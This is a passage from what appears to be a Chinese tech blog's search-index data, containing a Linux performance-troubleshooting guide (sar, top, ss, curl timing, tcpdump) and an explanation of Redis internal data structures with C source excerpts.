可能是饱和的证据（不过设备通常能并行处理请求，尤其是前端代理多块后端磁盘的虚拟设备）。 %util：设备利用率（繁忙百分比）。超过 60% 通常就会导致性能下降（应能从 await 中观察到），接近 100% 通常意味着饱和。但如果存储设备是前端代理多块后端磁盘的逻辑设备，100% 可能只是说明一直有 I/O 在处理，后端磁盘实际远未饱和。 07. free -m — 内存快速确认 BASH$ free -m total used free shared buffers cached Mem: 245998 24545 221453 83 59 541 -/+ buffers/cache: 23944 222053 Swap: 0 0 0 看点：以 MB 为单位再次确认物理内存分配状态。重点关注 buffers 和 cached 是否接近零——若接近零则磁盘 IO 会飙升（可用 iostat 确认）。此时结合前面 vmstat 的 si/so（Swap 换入换出）指标，如果 si/so 频繁飙高，说明物理内存已耗尽，系统正在用低速磁盘当内存用，性能会呈现断崖式下跌。 08. sar -n DEV 1 — 网卡吞吐量定界 BASH$ sar -n DEV 1 Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU) 12:16:48 AM IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s %ifutil 12:16:49 AM eth0 18763.00 5032.00 20686.42 478.30 0.00 0.00 0.00 0.00 12:16:49 AM lo 14.00 14.00 1.36 1.36 0.00 0.00 0.00 0.00 12:16:49 AM docker0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 看点：观察 rxkB/s（接收）和 txkB/s（发送）。 诊断：对比你的服务器网卡硬件上限（如千兆网卡理论极值 125MB/s）。如果数值逼近物理极限，说明业务卡顿是因为网卡被打满了（下载大文件、遭受泛洪攻击等）。 09. sar -n TCP,ETCP 1 — TCP 协议栈健康度 BASH$ sar -n TCP,ETCP 1 Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU) 12:17:19 AM active/s passive/s iseg/s oseg/s 12:17:20 AM 1.00 0.00 10233.00 18846.00 12:17:19 AM atmptf/s estres/s retrans/s isegerr/s orsts/s 12:17:20 AM 0.00 0.00 0.00 0.00 0.00 看点 1 (active/s \u0026amp; passive/s)：每秒本地主动发起（connect()）的连接和被动接受（accept()）的连接数。可粗略衡量服务器负载：passive/s 是入站新连接数，active/s 是出站下游连接数。 看点 2 (retrans/s)：每秒 TCP 重传数，这是网络排障的黄金指标！ 重传意味着网络或服务端出了问题——可能是不可靠的网络链路（如公网）导致丢包，也可能是服务端过载主动丢弃数据包。 10. top — 最后的宏观复核 BASH$ top top - 00:15:40 up 21:56, 1 user, load average: 31.09, 29.87, 29.92 Tasks: 871 total, 1 running, 868 sleeping, 0 stopped, 2 zombie %Cpu(s): 96.8 us, 0.4 sy, 0.0 ni, 2.7 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 25190241+total, 24921688 used, 22698073+free, 60448 buffers KiB Swap: 0 total, 0 used, 0 free. 554208 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 20248 root 20 0 0.227t 0.012t 18748 S 3090 5.2 29812:58 java 4213 root 20 0 2722544 64640 44232 S 23.5 0.0 233:35.37 mesos-slave 66128 titancl+ 20 0 24344 2332 1172 R 1.0 0.0 0:00.07 top 5235 root 20 0 38.227g 547004 49996 S 0.7 0.2 2:02.74 java 4299 root 20 0 20.015g 2.682g 16836 S 0.3 1.1 33:14.42 java 经历了前面的抽丝剥茧，最后敲下 top。top 涵盖了前面大多数命令的关键指标，此时用它做最终的宏观复核——如果数值与前几步差异很大，说明负载在持续变化，需要留意动态趋势。 总结：排障导图速查表 故障现象表现 L1 定界指令 L2 深度剖析指令 CPU 报警 / 负载高 top, ps uptime ➔ vmstat ➔ mpstat ➔ pidstat 内存飙升 / OOM free -h dmesg | tail ➔ vmstat（查 Swap） 磁盘打满 / 响应极慢 iostat vmstat（查 wa, b）➔ iostat -xz 1（查 await） 连接超时 / 报 502/504 ss, nc, curl, dig sar -n DEV ➔ sar -n ETCP ➔ tcpdump 连接堆积 / TIME_WAIT 爆满 ss -ant, ss -s sar -n TCP,ETCP（查 retrans） 磁盘空间不足 df -h, du -sh iostat -xz 1（查 await） DNS 解析异常 dig, nslookup dig +trace（逐级追踪解析链路） 参考资料 Linux Performance Analysis in 60,000 Milliseconds — Netflix Technology Blog ","permalink":"https://buvidk1234.github.io/posts/linux-troubleshooting/","summary":"\u003ch2 id=\"l1-日常排错篇\"\u003eL1 日常排错篇\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e适用场景\u003c/strong\u003e：服务连不上、启动报错、明显卡顿。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"1-查死活与资源占用\"\u003e1. 查死活与资源占用\u003c/h3\u003e\n\u003ch4 id=\"ps--ef--grep-name\"\u003eps -ef | grep \u0026lt;name\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：最基础的进程探测。看进程是否存在、看启动参数是否正确、看运行态的 PID。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"top--htop\"\u003etop / htop\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：看系统的整体大盘。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e极客技巧\u003c/strong\u003e：在 top 界面按 \u003ccode\u003e1\u003c/code\u003e 展开所有 CPU 核，按 \u003ccode\u003eP\u003c/code\u003e 找 CPU 消耗大户，按 \u003ccode\u003eM\u003c/code\u003e 找内存泄露元凶。htop 是其彩色增强版，支持鼠标和树状图（需安装）。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"free--h\"\u003efree -h\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：看内存还剩多少。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e避坑\u003c/strong\u003e：不要看 \u003ccode\u003efree\u003c/code\u003e 列，直接看 \u003ccode\u003eavailable\u003c/code\u003e（系统真实可分配内存）。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"2-查网络与连通性\"\u003e2. 查网络与连通性\u003c/h3\u003e\n\u003ch4 id=\"ss--lntp\"\u003ess -lntp\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：查本地监听端口。比老旧的 \u003ccode\u003enetstat\u003c/code\u003e 快百倍。排查\u0026quot;服务是否真起来了\u0026quot;、\u0026ldquo;谁占了 8080 端口\u0026rdquo;。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-l\u003c/code\u003e 仅显示监听状态，\u003ccode\u003e-n\u003c/code\u003e 不做域名反解（提速），\u003ccode\u003e-t\u003c/code\u003e 只看 TCP，\u003ccode\u003e-p\u003c/code\u003e 显示进程名和 PID。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"ss--ant\"\u003ess -ant\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：查看\u003cstrong\u003e所有\u003c/strong\u003e TCP 连接的实时状态分布（ESTABLISHED / TIME_WAIT / CLOSE_WAIT 等）。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e诊断技巧\u003c/strong\u003e：\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eTIME_WAIT\u003c/code\u003e 堆积过多 → 短连接并发太高，考虑开启 \u003ccode\u003etcp_tw_reuse\u003c/code\u003e 或改用长连接。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCLOSE_WAIT\u003c/code\u003e 堆积 → 应用代码没有正确关闭连接（典型 Bug），需排查代码。\u003c/li\u003e\n\u003cli\u003e快速统计各状态数量：\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eBASH\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ess -ant \u003cspan style=\"color:#1f2328\"\u003e|\u003c/span\u003e awk \u003cspan style=\"color:#0a3069\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#1f2328\"\u003e|\u003c/span\u003e sort \u003cspan style=\"color:#1f2328\"\u003e|\u003c/span\u003e uniq -c \u003cspan style=\"color:#1f2328\"\u003e|\u003c/span\u003e sort -rn\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch4 id=\"ss--s\"\u003ess -s\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：一行命令输出 TCP/UDP 连接数汇总统计，快速掌握全局连接规模。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eBASH\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ ss -s\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTotal: \u003cspan style=\"color:#0550ae\"\u003e1024\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTCP:   \u003cspan style=\"color:#0550ae\"\u003e862\u003c/span\u003e \u003cspan style=\"color:#0550ae\"\u003e(\u003c/span\u003eestab 521, closed 12, orphaned 0, timewait 310\u003cspan style=\"color:#0550ae\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch4 id=\"lsof--i-port\"\u003elsof -i :\u0026lt;port\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：报 \u003ccode\u003eAddress already in use\u003c/code\u003e 时，一秒揪出占用该端口的凶手 PID。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"nc--zv-ip-port\"\u003enc -zv \u0026lt;ip\u0026gt; \u0026lt;port\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：纯 TCP 层的端口探活。不发数据，只测三次握手通不通（排查防火墙/安全组拦截的最快手段）。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"curl--iv-url\"\u003ecurl -Iv \u0026lt;url\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：HTTP 层探活。\u003ccode\u003e-I\u003c/code\u003e 只拉取 Header 提速，\u003ccode\u003e-v\u003c/code\u003e 打印详细的 DNS 解析与握手过程。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"curl--w请求耗时拆分\"\u003ecurl -w（请求耗时拆分）\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：精确测量一次 HTTP 请求各阶段的耗时，\u003cstrong\u003e一行命令定界\u0026quot;慢在哪\u0026quot;\u003c/strong\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eBASH\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ curl -o /dev/null -s -w \u003cspan style=\"color:#0a3069\"\u003e\u0026#34;dns: %{time_namelookup}s\\ntcp: %{time_connect}s\\ntls: %{time_appconnect}s\\nttfb: %{time_starttransfer}s\\ntotal: %{time_total}s\\n\u0026#34;\u003c/span\u003e https://example.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edns:   0.028s      \u003cspan style=\"color:#57606a\"\u003e# DNS 解析耗时\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etcp:   0.045s      \u003cspan style=\"color:#57606a\"\u003e# TCP 三次握手完成\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etls:   0.097s      \u003cspan style=\"color:#57606a\"\u003e# TLS 握手完成\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ettfb:  0.312s      \u003cspan style=\"color:#57606a\"\u003e# 首字节到达（服务端处理耗时）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etotal: 0.340s      \u003cspan style=\"color:#57606a\"\u003e# 整个请求完成\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e定界思路\u003c/strong\u003e：\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003edns\u003c/code\u003e 高 → DNS 解析慢，用 \u003ccode\u003edig\u003c/code\u003e 排查是否解析链路有问题\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003etcp - dns\u003c/code\u003e 高 → 网络延迟大或连接建立慢，用 \u003ccode\u003eping\u003c/code\u003e/\u003ccode\u003enc\u003c/code\u003e 验证\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ettfb - tls\u003c/code\u003e 高 → \u003cstrong\u003e服务端处理慢\u003c/strong\u003e（最常见），查服务端日志、CPU、慢 SQL\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003etotal - ttfb\u003c/code\u003e 高 → 响应体传输慢，查带宽是否打满（\u003ccode\u003esar -n DEV\u003c/code\u003e）\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"ping--c-4-ip\"\u003eping -c 4 \u0026lt;ip\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：最基础的 ICMP 连通性检测与延迟测量。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e注意\u003c/strong\u003e：很多云服务器默认禁 ping（安全组/iptables 屏蔽 ICMP），ping 不通 ≠ 网络不通，需配合 \u003ccode\u003enc\u003c/code\u003e/\u003ccode\u003ecurl\u003c/code\u003e 交叉验证。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"dig--nslookup-domain\"\u003edig / nslookup \u0026lt;domain\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：DNS 解析排查。服务连不上时，第一步确认域名是否解析到了正确的 IP。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e极客技巧\u003c/strong\u003e：\u003ccode\u003edig +trace \u0026lt;domain\u0026gt;\u003c/code\u003e 从根域开始逐级追踪解析链路，排查 DNS 劫持或缓存污染。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"ip-addr--ip-route\"\u003eip addr / ip route\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：查看网卡 IP 地址、子网掩码、路由表。替代已废弃的 \u003ccode\u003eifconfig\u003c/code\u003e 和 \u003ccode\u003eroute\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e排查场景\u003c/strong\u003e：多网卡环境确认流量走了哪张网卡、默认网关是否正确。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"tcpdump--i-eth0-port-80--w-dumppcap\"\u003etcpdump -i eth0 port 80 -w dump.pcap\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：终极网络定界工具。当业务层查不出为何丢包或超时，直接到底层网卡抓包，导出后用 Wireshark 分析时序。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"3-查日志与磁盘\"\u003e3. 查日志与磁盘\u003c/h3\u003e\n\u003ch4 id=\"tail--f-varlogxxxlog\"\u003etail -f /var/log/xxx.log\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：实时追踪日志输出，排查启动报错或运行时异常。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e进阶\u003c/strong\u003e：\u003ccode\u003etail -f log | grep --line-buffered 'ERROR'\u003c/code\u003e 实时过滤错误行；多日志同时追踪用 \u003ccode\u003etail -f a.log b.log\u003c/code\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"journalctl--u-service--f\"\u003ejournalctl -u \u0026lt;service\u0026gt; -f\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：查看 systemd 管理的服务日志。比翻日志文件更方便，支持时间过滤。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e常用组合\u003c/strong\u003e：\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e-f\u003c/code\u003e：实时追踪\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e--since \u0026quot;10 min ago\u0026quot;\u003c/code\u003e：只看最近 10 分钟\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-p err\u003c/code\u003e：只看错误级别以上\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"df--h--du--sh-path\"\u003edf -h / du -sh \u0026lt;path\u0026gt;\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：\u003ccode\u003edf -h\u003c/code\u003e 查看各挂载点磁盘使用率，\u003ccode\u003edu -sh *\u003c/code\u003e 找出哪个目录最占空间。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e避坑\u003c/strong\u003e：\u003ccode\u003edf\u003c/code\u003e 显示磁盘满但 \u003ccode\u003edu\u003c/code\u003e 加起来不够？可能是已删除文件仍被进程持有（\u003ccode\u003elsof +L1\u003c/code\u003e 排查）。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"iostat\"\u003eiostat\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e用途\u003c/strong\u003e：最基础的磁盘读写查看，评估是否在疯狂写日志或落盘慢。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"l2-高阶诊断篇\"\u003eL2 高阶诊断篇\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e适用场景\u003c/strong\u003e：系统负载飙升、偶发性延迟、无明显报错但疯狂卡顿。\u003c/p\u003e","title":"Linux Troubleshooting"},{"content":"Redis 数据结构 逻辑类型 (Type) 底层数据结构 (Internal Encoding) String int, embstr, raw (SDS) List quicklist Hash listpack, hashtable Set intset, hashtable ZSet listpack, skiplist + hashtable graph TD A[redisObject] --\u003e B{type} B --\u003e|STRING| C[int / embstr / raw] B --\u003e|LIST| D[quicklist] B --\u003e|HASH| E{size?} B --\u003e|SET| F{all int?} B --\u003e|ZSET| G{size?} E --\u003e|小| H[listpack] E --\u003e|大| I[hashtable] F --\u003e|yes \u0026 少| J[intset] F --\u003e|no| K[hashtable] G --\u003e|小| L[listpack] G --\u003e|大| M[skiplist + hashtable]每种类型根据数据量自动切换编码：小数据用紧凑结构省内存，大数据切高效结构保性能。\nSDS C 字符串存在三个核心问题：O(N) 获取长度、缓冲区溢出风险、\\0 截断二进制数据。SDS 逐一解决了这些问题。\nCstruct __attribute__ ((__packed__)) sdshdr8 { uint8_t len; /* 已使用长度，1字节 */ uint8_t alloc; /* 总分配长度，1字节 */ unsigned char flags; /* 低3位是类型，高5位未使用 */ char buf[]; /* 实际字符串内容 */ }; __packed__ 消除对齐填充。Redis 按长度选用 sdshdr5/8/16/32/64，头开销从 1 到 17 字节不等。\nC 字符串 SDS 长度 O(N) 遍历 O(1) 直接读 len 缓冲区安全 手动管理 API 自动扩容 二进制安全 ✗（\\0 截断） ✓（按 len 读） 预分配 ✗ len\u0026lt;1MB → 2×len；≥1MB → +1MB 惰性释放 ✗ 缩短不回收，复用 alloc embstr 把 redisObject 和 SDS 分配在一块连续内存（≤44B），一次 malloc、一次 free、缓存行友好。\nListpack ziplist 的替代方案，消除了级联更新问题。用作 Hash/ZSet/Stream 小数据量时的编码。\nC/* 伪代码：Listpack 的物理布局 */ struct ListpackLayout { uint32_t total_bytes; // 整个包大小 uint16_t num_elements; // 元素个数 // 接下来是 N 个 Entry，紧密排列 struct Entry entries[] { // encoding: 包含类型和数据长度 // data: 实际数据 // len: 记录本 Entry 的总长度 }; uint8_t end_byte; // 固定为 0xFF }; 与 ziplist 的关键区别：每个 entry 的 len 记录的是自身总长度，而非前一节点的长度。ziplist 修改一个节点可能触发后续所有节点的连锁更新（prevlen 字段从 1B 扩展为 5B），listpack 从设计上消除了这一问题。\n连续内存 → 零指针开销 → 缓存友好。代价是 O(N) 遍历，所以只用于小数据量。\nQuicklist List 的唯一编码。本质：listpack 节点组成的双向链表。\nCtypedef struct quicklist { quicklistNode *head; quicklistNode *tail; unsigned long count; /* 所有 listpack 中的元素总数 */ unsigned long len; /* quicklistNode 节点个数 */ size_t alloc_size; /* 总分配内存（字节） */ signed int fill : QL_FILL_BITS; /* 单节点填充因子 */ unsigned int compress : QL_COMP_BITS; /* 两端不压缩的节点深度；0=关闭压缩 */ unsigned int bookmark_count: QL_BM_BITS; quicklistBookmark bookmarks[]; } quicklist; typedef struct quicklistNode { struct quicklistNode *prev; struct quicklistNode *next; unsigned char *entry; size_t sz; /* entry 占用字节数 */ unsigned int count : 16; /* 该 listpack 中的元素个数 */ unsigned int encoding : 2; /* RAW==1 或 LZF==2 */ unsigned int container : 2; /* PLAIN==1 或 PACKED==2 */ unsigned int recompress : 1; /* 该节点是否需要重新压缩（临时解压后标记） */ unsigned int attempted_compress : 1; /* 节点太小，无法压缩 */ unsigned int dont_compress : 1; /* 禁止压缩（该 entry 稍后会被使用） */ unsigned int extra : 9; /* 预留位，供未来使用 */ } quicklistNode; typedef struct quicklistLZF { size_t sz; /* LZF 压缩后的字节数 */ char compressed[]; } quicklistLZF; graph LR H[head] --\u003e N1[listpack] N1 \u003c--\u003e N2[LZF] N2 \u003c--\u003e N3[LZF] N3 \u003c--\u003e N4[listpack] N4 --\u003e T[tail] fill（list-max-listpack-size）：正值=单节点最大元素数，负值=字节上限（-2=8KB） compress（list-compress-depth）：中间节点 LZF 压缩，两端保留 N 个不压缩 List 操作集中在两端（队列/栈语义），中间节点访问频率低，压缩中间节点对常用操作几乎无影响 recompress 位域：临时解压访问后标记，下次操作时重新压缩 Intset Set 全整数且元素少时的编码。有序整数数组 + 二分查找。\nCtypedef struct intset { uint32_t encoding; uint32_t length; int8_t contents[]; } intset; contents 声明为 int8_t[] 但实际按 encoding（INT16/INT32/INT64）宽度存储，纯粹的内存视图。\n插入 + 编码升级 插入值超出当前编码范围 → 整个数组升级到更宽编码。只升不降。\nC/* 向 intset 中插入一个整数 */ intset *intsetAdd(intset *is, int64_t value, uint8_t *success) { uint8_t valenc = _intsetValueEncoding(value); uint32_t pos; if (success) *success = 1; /* 必要时升级编码。需要升级时，新值必然在数组最前（\u0026lt; 0）或最后（\u0026gt; 0）， * 因为它超出了当前编码的表示范围。 */ if (valenc \u0026gt; intrev32ifbe(is-\u0026gt;encoding)) { /* 升级操作必定成功，无需设置 *success */ return intsetUpgradeAndAdd(is,value); } else { /* 二分查找判断值是否已存在。 * 若不存在，pos 会被设置为应插入的位置。 */ if (intsetSearch(is,value,\u0026amp;pos)) { if (success) *success = 0; return is; } is = intsetResize(is,intrev32ifbe(is-\u0026gt;length)+1); if (pos \u0026lt; intrev32ifbe(is-\u0026gt;length)) intsetMoveTail(is,pos,pos+1); } _intsetSet(is,pos,value); is-\u0026gt;length = intrev32ifbe(intrev32ifbe(is-\u0026gt;length)+1); return is; } /* 将 intset 升级到更宽的编码并插入指定整数 */ static intset *intsetUpgradeAndAdd(intset *is, int64_t value) { uint8_t curenc = intrev32ifbe(is-\u0026gt;encoding); uint8_t newenc = _intsetValueEncoding(value); int length = intrev32ifbe(is-\u0026gt;length); int prepend = value \u0026lt; 0 ? 1 : 0; /* 设置新编码并扩容 */ is-\u0026gt;encoding = intrev32ifbe(newenc); is = intsetResize(is,intrev32ifbe(is-\u0026gt;length)+1); /* 从后向前迎移，避免覆盖未迎移的数据。 * prepend 变量确保在数组开头或末尾留出空位。 */ while(length--) _intsetSet(is,length+prepend,_intsetGetEncoded(is,length,curenc)); /* 将新值放在数组开头或末尾 */ if (prepend) _intsetSet(is,0,value); else _intsetSet(is,intrev32ifbe(is-\u0026gt;length),value); is-\u0026gt;length = intrev32ifbe(intrev32ifbe(is-\u0026gt;length)+1); return is; } 升级关键：从后向前迁移，避免覆盖未迁移数据。触发升级的值必然是最大或最小值（超出原编码范围），所以要么 prepend 要么 append。\n特性 说明 紧凑 连续数组，零指针 自适应 int16 → int32 → int64 按需升级 查找 有序 + 二分，O(log N) 只升不降 删大值不缩编码，避免反复升降抖动 Dict 全局键空间、Hash、Set 的底层。拉链法 + 渐进式 rehash。\nCstruct dict { dictType *type; dictEntry **ht_table[2]; unsigned long ht_used[2]; long rehashidx; /* rehash 进度，-1 表示未进行 rehash */ /* 注：pauserehash 使用完整的 unsigned，避免迭代器自增时 * 与其他位域在同一存储单元上产生读-改-写冲突 */ unsigned pauserehash; /* \u0026gt;0 时暂停 rehash */ /* 小变量放末尾，优化结构体对齐填充 */ signed char ht_size_exp[2]; /* 表大小的指数 (size = 1\u0026lt;\u0026lt;exp) */ int16_t pauseAutoResize; /* \u0026gt;0 时禁止自动扩缩容 (\u0026lt;0 表示编程错误) */ void *metadata[]; }; struct dictEntry { struct dictEntry *next; /* 必须为第一个字段 */ void *key; /* 必须为第二个字段 */ union { void *val; uint64_t u64; int64_t s64; double d; } v; }; // Set 专用哈希表（无 value） typedef struct dictEntryNoValue { dictEntry *next; /* 必须为第一个字段 */ void *key; /* 必须为第二个字段 */ } dictEntryNoValue; ht_table[2]：两张哈希表，正常时只使用 [0]，rehash 期间 [1] 作为新表。dictEntryNoValue 专供 Set 使用，省去 value 的 union 开销。ht_size_exp 存储指数而非实际大小，减少字段宽度。\n插入 拉链法：hash(key) → bucket 下标 → 头插链表。头插假设：刚写入的 key 更可能被立即访问（时间局部性）。\n调用链：dictAdd → dictAddRaw → dictFindLinkForInsert（定位 + 判重 + 顺带 rehash/扩容） → dictInsertKeyAtLink（头插）\nC/* 向哈希表中添加元素 */ int dictAdd(dict *d, void *key __stored_key, void *val) { dictEntry *entry = dictAddRaw(d,key,NULL); if (!entry) return DICT_ERR; if (!d-\u0026gt;type-\u0026gt;no_value) dictSetVal(d, entry, val); return DICT_OK; } dictEntry *dictAddRaw(dict *d, void *key __stored_key, dictEntry **existing) { /* 获取新 key 的插入位置，若 key 已存在则返回 NULL */ void *position = dictFindLinkForInsert(d, dictStoredKey2Key(d, key), existing); if (!position) return NULL; /* 必要时复制 key */ if (d-\u0026gt;type-\u0026gt;keyDup) key = d-\u0026gt;type-\u0026gt;keyDup(d, key); return dictInsertKeyAtLink(d, key, position); } 查找插入位置 + 触发 rehash/扩容 dictFindLinkForInsert 是插入的核心：算 hash、遍历链表判重、返回待插入的 bucket 指针。rehash 期间两张表都要查。每次调用顺带推进一步 rehash 和检查扩容。\nC/* 查找 key 应插入的位置。若 key 不存在，返回待插入的 bucket 指针， * 配合 dictInsertKeyAtLink() 使用。若 key 已存在，返回 NULL， * 并通过 existing 参数返回已有的 entry。 */ dictEntryLink dictFindLinkForInsert(dict *d, const void *key, dictEntry **existing) { unsigned long idx, table; dictCmpCache cmpCache = {0}; dictEntry *he; uint64_t hash = dictGetHash(d, key); if (existing) *existing = NULL; idx = hash \u0026amp; DICTHT_SIZE_MASK(d-\u0026gt;ht_size_exp[0]); /* 必要时推进一步 rehash */ _dictRehashStepIfNeeded(d,idx); /* 必要时扩容 */ _dictExpandIfNeeded(d); keyCmpFunc cmpFunc = dictGetCmpFunc(d); for (table = 0; table \u0026lt;= 1; table++) { if (table == 0 \u0026amp;\u0026amp; (long)idx \u0026lt; d-\u0026gt;rehashidx) continue; idx = hash \u0026amp; DICTHT_SIZE_MASK(d-\u0026gt;ht_size_exp[table]); /* 检查该 bucket 中是否已存在相同的 key */ he = d-\u0026gt;ht_table[table][idx]; while(he) { const void *he_key = dictStoredKey2Key(d, dictGetKey(he)); if (key == he_key || cmpFunc(\u0026amp;cmpCache, key, he_key)) { if (existing) *existing = he; return NULL; } he = dictGetNext(he); } if (!dictIsRehashing(d)) break; } /* rehash 期间，新插入的 bucket 始终来自新表 ht_table[1] */ dictEntry **bucket = 